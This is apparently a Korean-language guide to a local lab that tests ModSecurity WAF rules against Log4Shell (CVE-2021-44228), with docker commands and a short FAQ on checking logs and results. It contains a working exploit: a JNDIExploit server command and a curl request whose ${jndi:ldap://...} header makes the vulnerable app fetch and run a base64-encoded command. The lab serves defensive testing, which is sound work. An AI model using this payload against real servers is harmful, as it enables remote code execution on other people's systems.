
log4j2 보호를 위한 ModSec 규칙 - CVE-2021-44228
docker stack deploy -c docker-compose.yml WAF
java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888
curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
1- 내 WAF와 취약한 웹 애플리케이션이 올바르게 실행되었는지 어떻게 알 수 있나요?
docker service ls 를 실행하여 각각 하나의 레플리카를 가진 두 개의 서비스가 있는지 확인하세요.
2- ModSec 로그는 어떻게 확인하나요?
docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log 를 실행하세요.
3- RCE가 실패했는지 어떻게 확인하나요?
우리가 사용한 curl은 /tmp 안에 pwned라는 파일을 생성하므로, 아래 명령어를 실행해야 합니다.
docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp